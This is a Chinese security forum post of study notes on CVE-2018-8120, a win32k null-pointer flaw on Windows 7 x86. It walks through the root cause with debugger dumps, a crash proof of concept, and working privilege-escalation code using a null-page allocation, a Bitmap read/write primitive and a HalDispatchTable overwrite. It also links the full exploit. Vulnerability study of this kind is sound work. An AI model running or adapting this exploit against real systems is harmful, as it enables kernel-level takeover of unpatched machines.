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[原创]CVE-2018-8120提权漏洞学习笔记
2022-4-11 18:42 12394

[原创]CVE-2018-8120提权漏洞学习笔记

2022-4-11 18:42
12394

一.前言

1.漏洞描述

该漏洞存在与win32k模块中的SetImeInfoEx函数,在该函数中未对tagWINDOWSTATION结构偏移0x14的spkiList进行有效性验证就对其进行解引用操作,而spkList可以为NULL,此时就会对地址0x14进行解引用操作,导致系统崩溃。通过在0地址申请内存的方式可以绕过解引用产生的系统崩溃,函数会继续向下运行执行写操作,通过这个写操作来修改BitMap对象的pvScan0来实现任意地址读写,最终完成提权。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg

二.漏洞分析

1.漏洞成因

SetImeInfoEx函数的反汇编结果如下:

图1  SetImeInfoEx函数反汇编

第1处的代码是取出参数pWinStation偏移0x14处的内容,参数pWinStation是tagWINDOWSTATION结构,该结构体定义如下:

2: kd> dt win32k!tagWINDOWSTATION
   +0x000 dwSessionId      : Uint4B
   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION
   +0x008 rpdeskList       : Ptr32 tagDESKTOP
   +0x00c pTerm            : Ptr32 tagTERMINAL
   +0x010 dwWSF_Flags      : Uint4B
   +0x014 spklList         : Ptr32 tagKL
   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO
   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
   +0x020 spwndClipOpen    : Ptr32 tagWND
   +0x024 spwndClipViewer  : Ptr32 tagWND
   +0x028 spwndClipOwner   : Ptr32 tagWND
   +0x02c pClipBase        : Ptr32 tagCLIP
   +0x030 cNumClipFormats  : Uint4B
   +0x034 iClipSerialNumber : Uint4B
   +0x038 iClipSequenceNumber : Uint4B
   +0x03c spwndClipboardListener : Ptr32 tagWND
   +0x040 pGlobalAtomTable : Ptr32 Void
   +0x044 luidEndSession   : _LUID
   +0x04c luidUser         : _LUID
   +0x054 psidUser         : Ptr32 Void

偏移0x14处的成员是spkList,该成员指向tagKL结构,结构体定义如下:

2: kd> dt win32k!tagKL
   +0x000 head             : _HEAD
   +0x008 pklNext          : Ptr32 tagKL
   +0x00c pklPrev          : Ptr32 tagKL
   +0x010 dwKL_Flags       : Uint4B
   +0x014 hkl              : Ptr32 HKL__
   +0x018 spkf             : Ptr32 tagKBDFILE
   +0x01c spkfPrimary      : Ptr32 tagKBDFILE
   +0x020 dwFontSigs       : Uint4B
   +0x024 iBaseCharset     : Uint4B
   +0x028 CodePage         : Uint2B
   +0x02a wchDiacritic     : Wchar
   +0x02c piiex            : Ptr32 tagIMEINFOEX
   +0x030 uNumTbl          : Uint4B
   +0x034 pspkfExtra       : Ptr32 Ptr32 tagKBDFILE
   +0x038 dwLastKbdType    : Uint4B
   +0x03c dwLastKbdSubType : Uint4B
   +0x040 dwKLID           : Uint4B

获取spkList后,就在第2处进行对spkList偏移0x14处的地址进行解引用操作。可是,在执行2处的代码之前,函数并没有验证spkList是否合法。如果spkList为NULL,那么此时2处的代码就是对地址0x14进行解引用,因为0x14不是个合法地址,就回导致系统崩溃。

2.漏洞验证

要验证这个漏洞,需要两个步骤,首先这个漏洞是由于SetImeInfoEx函数对tagWINDOWSTATION结构体中的spkList成员操作产生的,需要首先调用函数CreateWindowStation来创建一个tagWINDOWSTATION结构体,该函数定义如下:

HWINSTA WINAPI CreateWindowStation(
  __in_opt  LPCTSTR lpwinsta,
            DWORD dwFlags,
  __in      ACCESS_MASK dwDesiredAccess,
  __in_opt  LPSECURITY_ATTRIBUTES lpsa);

创建完结构体以后,需要通过SetProcessWindowStation来为当前进程设置创建的tagWINDOWSTATION,该函数定义如下:

BOOL WINAPI SetProcessWindowStation(
  __in  HWINSTA hWinSta);

为当前进程设置完结构体以后,就可以来触发漏洞,通过IDA交叉引用可以发现,只有NtUserSetImeInfoEx函数调用了SetImeInfoEx函数,该函数的反汇编结果如下:

在第1处,函数将参数内容复制到imeInfoEx中作为调用SetImeInfoEx函数的第二个参数,在2处通过调用GetProcessWindowStation来作为调用SetImeInfoEx函数的第一个参数。那么此时,第一个参数就是创建的tagWINDOWSTATION,第二个参数通过调用NtUserSetImeInfoEx时指定,也就是可以由我们来指定。

NtUserSetImeInfoEx函数是未导出函数,所以只能通过自己指定调用号产生系统调用来调用该函数,而NtUserSetImeInfoEx函数的调用号为0x1226,所以,可以使用如下代码来调用NtUserSetImeInfoEx函数:

BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0)
{
	__asm
	{
		mov esi, arg0
		mov eax, 0x1226			// NtUserSetImeInfoEx的调用号
		mov edx, 0x7FFE0300
		call dword ptr[edx]
		ret 4
	}
}

由此,可以写出如下的POC:

BOOL POC_CVE_2018_8120()
{
	BOOL bRet = TRUE;
	HWINSTA hSta = NULL;

	// 创建tagWINDOWSTATION结构体
	hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL);
	if (hSta == NULL)
	{
		ShowError("CreateWindowStation", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 将创建的结构体设置到本进程中
	if (!SetProcessWindowStation(hSta))
	{
		ShowError("SetProcessWindowStation", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	char szBuf[0x15C] = { 0 };
	CallNtUserSetImeInfoEx((PVOID)szBuf);

exit:
	return bRet;
}

编译运行POC,此时系统就会崩溃,崩溃信息如下,可以看到,产生崩溃的指令是在对[eax+0x14]的地址进行解引用产生的,这条指令就对应图1中的第2处的代码,此时寄存器eax的值为0,所以执行这条指令时,会对0x14地址进行解引用,该地址是并不是有效地址,就导致了系统的崩溃。

nt!RtlpBreakWithStatusInstruction:
83e95110 cc              int     3
kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
969a007c 395014          cmp     dword ptr [eax+14h],edx
3: kd> r eax
eax=00000000
3: kd> k
ChildEBP RetAddr  
92085a90 969a003d win32k!SetImeInfoEx+0x17
92085c28 83e581ea win32k!NtUserSetImeInfoEx+0x65
92085c28 772870b4 nt!KiFastCallEntry+0x12a
0012fd98 0040105f ntdll!KiFastSystemCallRet

三.漏洞利用

1.利用原理

由上内容可知,之所以产生崩溃是因为地址0x14是无效地址,因此,可以通过在0地址申请内存的方式让该地址有效,这样执行图1的第2处代码的时候就不会产生系统的崩溃,继续向下执行。在执行图1的第5处的代码的时候,会产生写操作。函数会向spkList偏移0x2C处保存的地址进行写入操作,由于此时spkList为0,所以函数会向0x2C中保存的地址进行写入操作。写入的内容则由传入的参数决定,这个参数又可以在调用NtUserSetImeInfoEx函数时指定。因此,可以通过将地址0x2C赋值为保存了HalQuerySystemInformation函数地址的地址,在调用NtUserSetImeInfoEx函数时指定参数的前4字节为ShellCode地址的方式,来对保存HalQuerySystemInformation函数地址的地址中的内容修改为ShellCode的地址,这样通过NtQueryIntervalProfile函数就可以调用ShellCode。

根据上述思路,此时就可以用以下的代码来实现提权:

BOOL Trigger_CVE_2018_8120()
{
	BOOL bRet = TRUE;

	// 0地址分配内存
	if (!AllocateZeroMemory())
	{
		bRet = FALSE;
		goto exit;
	}

	// 获取保存HalQuerySystemInformation函数地址的地址
	PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
	if (!pHalQuerySystemInformation)
	{
		bRet = FALSE;
		goto exit;
	}

	// 指定被写入的地址
	*(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation;
	// 绕过while循环的验证
	*(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120;
	
	char szBuf[0x15C] = { 0 };

	// 指定要写入的内容是ShellCode的地址
	*(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120;
	// 触发漏洞
	if (!CallNtUserSetImeInfoEx(szBuf))
	{
		ShowError("CallNtUserSetImeInfoEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 调用NtQueryIntervalProfile
	if (!CallNtQueryIntervalProfile())
	{
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

可是此时提权并不会成功,接下来通过WinDbg进行分析,首先运行到之前导致系统崩溃处的指令,也就是图1中第2处执行的代码,可以看到虽然此时eax依然为0,但是因为在0地址申请了内存,此时0x14地址是有效的,所以不会产生系统的崩溃。

3: kd> p
win32k!SetImeInfoEx+0x17:
96ac007c 395014          cmp     dword ptr [eax+14h],edx
3: kd> r eax
eax=00000000
3: kd> p
win32k!SetImeInfoEx+0x1a:
96ac007f 740e            je      win32k!SetImeInfoEx+0x2a (96ac008f)

继续向下运行,就会执行到图1中第3处的代码,此时会将地址0x2C中保存的要修改的保存了HalQuerySystemInformation函数地址的地址赋值给eax,此时eax就不会为0,函数会继续运行。

3: kd> p
win32k!SetImeInfoEx+0x2a:
96ac008f 8b402c          mov     eax,dword ptr [eax+2Ch]
3: kd> p
win32k!SetImeInfoEx+0x2d:
96ac0092 85c0            test    eax,eax
3: kd> r eax
eax=83f6f3fc
3: kd> p
win32k!SetImeInfoEx+0x2f:
96ac0094 74f2            je      win32k!SetImeInfoEx+0x23 (96ac0088)

继续向下运行就会执行下面的判断指令,判断eax+0x48处保存的内容是否为0,如果不为0则会进行跳转,这两条指令对应的就是图1中的第4处代码。此时eax保存的是保存了HalQuerySystemInformation函数地址的地址,该地址偏移0x48处保存的内容并不为0,这样就跳过了memcpy函数的调用,不会成功执行写入操作,导致程序提权失败。

2.Bitmap

为了成功利用该漏洞,就需要通过BitMap来实现任意地址的读写操作。Bitmap对象的可以通过CreateBitmap函数创建,该函数定义如下:

HRESULT CreateBitmap(UINT uiWidth,
                     UINT uiHeight,
                     REFWICPixelFormatGUID pixelFormat,
                     WICBitmapCreateCacheOption option,
                     IWICBitmap **ppIBitmap);

当用户态程序通过CreateBitmap函数创建了一个Bitmap对象以后,就会在PEB结构中偏移0x094的成员GdiSharedHandleTable所指的结构体数组中增加一项该结构。

3: kd> dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
	...
   +0x090 ProcessHeaps     : Ptr32 Ptr32 Void
   +0x094 GdiSharedHandleTable : Ptr32 Void
   +0x098 ProcessStarterHelper : Ptr32 Void
  	....

而GditSharedHandleTable所指的是GDICELL结构数组,该结构体定义如下:

typedef struct _GDICELL{
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
} GDICELL;

其中第一项pKernelAddress指向了SURFACE结构体,该结构体定义如下:

typedef struct _SURFACE
{
    BASEOBJECT  BaseObject;

    SURFOBJ     SurfObj;
    //XDCOBJ *   pdcoAA;
    FLONG       flags;
    struct _PALETTE  * const ppal; // Use SURFACE_vSetPalette to assign a palette
    struct _EWNDOBJ  *pWinObj;

    union
    {
        HANDLE  hSecureUMPD;  // if UMPD_SURFACE set
        HANDLE  hMirrorParent;// if MIRROR_SURFACE set
        HANDLE  hDDSurface;   // if DIRECTDRAW_SURFACE set
    };

    SIZEL       sizlDim;      /* For SetBitmapDimension(), do NOT use
                               to get width/height of bitmap, use
                               bitmap.bmWidth/bitmap.bmHeight for
                               that */

    HDC         hdc;          // Doc in "Undocumented Windows", page 546, seems to be supported with XP.
    ULONG       cRef;
    HPALETTE    hpalHint;

    /* For device-independent bitmaps: */
    HANDLE      hDIBSection;
    HANDLE      hSecure;
    DWORD       dwOffset;
    //UINT       unk_078;

  /* reactos specific */
    DWORD biClrImportant;
} SURFACE, *PSURFACE;

该结构体中保存的前两个成员的结构如下:

typedef struct _BASEOBJECT {
    HANDLE    hHmgr; 0x04
    PVOID     pEntry; 0x08
    LONG      cExclusiveLock; 0x0d
    PW32THREAD Tid;0x10
}BASEOBJECT, *POBJ;

typedef struct _SURFOBJ {
  DHSURF  dhsurf;
  HSURF  hsurf;
  DHPDEV  dhpdev;
  HDEV  hdev;
  SIZEL  sizlBitmap;
  ULONG  cjBits;
  PVOID  pvBits;
  PVOID  pvScan0;
  LONG  lDelta;
  ULONG  iUniq;
  ULONG  iBitmapFormat;
  USHORT  iType;
  USHORT  fjBitmap;
} SURFOBJ;

其中SURFOBJ结构体中的pvScan0中保存的地址指向内核空间之中,在用户态可以通过GetBitmaps和SetBitmaps函数来对pvScan0指向的内核空间中的内容进行读写操作。此时可以创建两个Bitmap对象,分别是hWorker和hManager,这两个Bitmap对象对应的pvScan0分别是wpv和mpv。通过漏洞的任意地址读写的功能,可以将保存wpv的内存地址复制到mpv中,此时在hManager上调用SetBitmapBits就可以修改wpv中保存的数据,在这里将其修改为保存HalQuerySystemInformation函数地址的地址。此时在hWorker上调用SetBitmapBits就可以将HalQuerySystemInformation函数地址修改为ShellCode地址

这种方式之所以能完成,也是因为此时mpv所指向的地址偏移0x48处的内容为0,另外,因此复制的时候会复制0x15C个字节,所以mpv后面的内容要保证不被修改,就需要在复制的源地址处进行正确的赋值。

此时,漏洞利用的代码如下:

BOOL Trigger_CVE_2018_8120()
{
	BOOL bRet = TRUE;
	HBITMAP hManger = NULL, hWorker = NULL;
	DWORD dwBuf[0x60] = { 0x90 };
	PVOID mpv = NULL, wpv = NULL;
	PVOID pOrgAddr = NULL;
	PVOID pTargetAddr = (PVOID)ShellCode_CVE_2018_8120;

	// 0地址分配内存
	if (!AllocateZeroMemory())
	{
		bRet = FALSE;
		goto exit;
	}

	hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf);
	hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf);

	if (!hManger || !hWorker)
	{
		ShowError("CreateBitmap", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	mpv = GetPvScan(hManger);
	wpv = GetPvScan(hWorker);

	// 指定被写入的地址
	*(PDWORD)(0x2C) = (DWORD)mpv;
	// 绕过while循环的验证
	*(PDWORD)(0x14) = (DWORD)wpv;
	
	DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 };

	// 指定要写入的内容
	szBuf[0] = (DWORD)wpv;
	szBuf[1] = 0x180;
	szBuf[2] = 0x1D95;
	szBuf[3] = 6;
	szBuf[4] = 0x10000;
	szBuf[5] = 0x0;
	szBuf[6] = 0x4800200;
	// 触发漏洞
	if (!CallNtUserSetImeInfoEx(szBuf))
	{
		ShowError("CallNtUserSetImeInfoEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 获取保存HalQuerySystemInformation函数地址的地址
	PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
	if (!pHalQuerySystemInformation)
	{
		bRet = FALSE;
		goto exit;
	}

	// 设置hManger的可修改地址为保存HalQuerySystemInformation函数地址的地址
	SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation);  
	// 获取可修改的地址中的内容
	GetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);		
	// 将可修改地址中的值修改为ShellCode地址
	SetBitmapBits(hWorker, sizeof(PVOID), &pTargetAddr);		

	// 调用NtQueryIntervalProfile,执行ShellCode
	if (!CallNtQueryIntervalProfile())
	{
		bRet = FALSE;
		goto exit;
	}

	// 将可修改地址中的内容恢复回去
	SetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);
exit:
	return bRet;
}

PVOID GetPvScan(HBITMAP hBitHandle)
{
	DWORD dwGdiCellArray = GetGdiCellArray();

	PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));
	
	return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);
}

DWORD GetGdiCellArray()
{
	__asm
	{
		mov eax, fs:[0x30]			// eax = PEB
		mov eax, [eax + 0x94]		// eax = GDICELL数组首地址
	}
}

此时在编译运行到图1的第4处验证,此时目标地址偏移0x48处的内容为0,函数不会发生跳转,接下去将执行复制操作。

随后的GetBitmapBits/SetBitmapBits就可以实现对HalQuerySystemInformation的修改,最终通过调用NtQueryIntervalProfile就会完成提权。

四.运行结果

    完整的exp代码在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2018-8120.cpp

    可以看到,运行exp以后会成功完成提权:

五.参考资料


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最后于 2022-5-28 10:10 被1900编辑 ,原因:
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